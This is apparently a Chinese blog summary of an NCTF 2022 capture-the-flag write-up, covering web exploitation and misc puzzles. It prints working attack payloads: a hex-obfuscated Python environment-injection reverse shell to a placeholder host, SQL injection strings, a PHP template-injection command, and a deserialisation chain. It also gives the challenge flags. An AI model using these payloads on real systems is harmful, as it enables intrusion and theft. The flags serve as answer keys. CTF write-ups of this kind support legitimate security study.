官方 wp,太菜了,基本不会,就没怎么做
Web
calc / calc_revenge
- 预期
1 | 这个题是在p神写了那篇环境注入的文章后不久发现的一个利用。当时仔细想了一下其他语言中是否也存在这样的问题,有没有可能也造成rce。在看完python3的system具体实现后发现最后调用的位置,也是通过/bin/sh -c去执行的命令 |
2. python 中将环境变量作为 dict 存储,赋值/覆盖 达到目的
1 | # 利用 for 循环赋值变量 |
!!!新知识 ++
3. 绕过空格过滤 列表生成式
1 | a = 0 |
- 添加环境变量
1 | import os |
5. 绕过关键词设置环境变量
1 | 目标: os.environ['BASH_FUNC_echo%%']='() { id; }' |
- [[str][0]for[os.environ[‘BASH_FUNC_echo%%’]]in[[‘() { id; }’]]]我们可以回顾一下python的ssti相关绕过的知识,只要是字符串通过引号包裹的都可以通过16进制去绕过关键词的检测,所以我们只需要把后面引号中的字符全部16进制编码就好
- 接下来的关键点就是在于如何绕过os的waf,这个关键词没有引号包裹无法用进制去绕过。
1 | 但实际上python是支持Non-ASCII Identifies也就是说可以使用unicode字符的,具体参考见: https://peps.python.org/pep-3131/ ,也就是说如果我们使用了UTF-8中的非ASCII码作为标识符,那么其会被函数转换为NFKC标准格式,也就是说我们可以使用例如ᵒ来代替o,从而绕过限制。所以在全部的碎片都被我们找到后我们就可以拼出这题的exp |
1 | [[str][0]for[ᵒs.environ['BASH\x5fFUNC\x5fecho%%']]in[['\x28\x29\x20\x7b\x20\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x78\x78\x2e\x78\x78\x2e\x78\x78\x2e\x78\x78\x2f\x78\x78\x78\x78\x20\x30\x3e\x26\x31\x3b\x7d']]] |
ezbypass
- 根据 waf 名字查询
1 | ?id=@.:=right(right((select hex(password) from users.info where id =1 limit 0,1),1111),1111) union%23%0adistinctrow%0bselect@. |
ezJava
- 这个题是dubbo的原生利用,因为dubbo依赖自带fastjson,因为fastjson的toString可以触发任意的getter方法,然后使用unixPrintServiceLookup就可以rce
- 这个类中会判断打印机服务,我们一般的mac,linux存在打印机相关驱动的话会导致不走rce的if,但是在服务器类(特别是docker)一般没有该驱动,就会触发rce。然后前半段的验证其实是一个经典的密码学问题,dsa的签名问题。和CVE-2022-21449这个cve的原理差不多,没有检查关键变量是否为0,导致1,0可以直接绕过整个检测
- poc
1 | public static void doPOST(byte[] obj) throws Exception{ |
ez_php
- CVE推送看到的CMS后台任意文件上传,简单看了一下发现前台可以直接RCE。
- 预期的做法是通过ajax.php的diy_save的文件写入,但是忘记修改cookie的默认密钥造成可以在伪造cookie后通过文件包含上传文件造成了非预期
- payload
1 | /ajax.php?fun=diy_save&tpl_file=["aya/template/default/header.html"]&diy={"t":["t","b98ca3bae0de94438ac693d1a16b9ca5_0","{\"pars\":\"t\",\"name\":\"t',''}{system('cat /flag')}{\"}"]} |
ez_sql
- deno的day,和去年出的ez_sql有点像。
1 | 两个问题: |
- payload
1 | http://81.70.155.160:3000/flight??=`in()%20union%20select%202333,flag%20from%20flag; |
Misc
Signin
- 输入
上上下下左右左右ba
,缩小字体,即可
NCTF{VVe1c0m3_T0_NCTF_2022!!!}
- IDA 查看字符串,发现有一段字符未输出,调整一下
qrssssssss & qrssssssss_revenge
- 非预期解:时间排序后扫码再手动去除冗余数据得到大致的flag,然后爆破
- 预期:这题是通过二维码data-masking的顺序来排flag里字符顺序的,大致是:L0~7 M0~7 Q0~7 H0~7
- 搜了一大圈没搜到好用的脚本,于是手动写了一个识别的,具体就是识别右边标记位的黑白顺序然后比对一下
1 | from PIL import Image |
炉边聚会
- 搜索
炉石传说编码规则
- exp
1 | fflag=['10001100','00000110','10011110','00000101','11001000','00000110','10111100','00000101','11001110','00001001','11010000','00000101','11110010','00000111','11001010','00000111','11110100','00001000','10001000','00001001','10010000','00001000','10111110','00000110','10001000','00001001','11010110','00001000','11001100','00001000','11110010','00000111','10110110','00000111','10011110','00000101','11100000','00000011','11101000','00000111','11110010','00000111','10110110','00000111','10111110','00000110','11100000','00000011','11100000','00000011','11100000','00000011','10110110','00000111','10111100','00000101','10010010','00001001','11001100','00001000','11001100','00001000','11111010','00000110','10110110','00000111','11110100','00001000','10011010','00001000','10111010','00000100','10010000','00001000','10001000','00001001','11110110','00000100','11100010','00001001','00000000','00000000'] |
- pip install hearthstone
1 | from hearthstone.deckstrings import Deck |
只因因
zystego
- 图片尾部有压缩包,爆破密码:114514
- 查看各通道,发现最后三列有问题,读取
1 | from PIL import Image, ImageDraw |
3. 根据各数字只以 5 0 结尾,联想 二进制
1 | from PIL import Image, ImageDraw |
- 提取出来的二进制直接每8位转字符,就可以得到盲水印脚本以及pgp加密的口令
1 |
|
- 还原脚本
1 |
|
- 大致就是先把原图分成若干8x8的块,然后在这个块上随机选择rgb通道中的一个进行dct变换,然后根据secret.txt里是1还是0来改变dct矩阵右下角的值,然后合并进原图,最后保存
1 | import numpy as np |
- 由于dct逆变换会导致一些损失,所以判断的地方选择了与10和-10进行比较, 将得到的结果转一下就能得到一个压缩包了
- 利用上面得到的pgp私钥和口令直接解密就可以得到flag
NCTF{zys_1s_s0_V3g3T@13lE_qwq}
如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !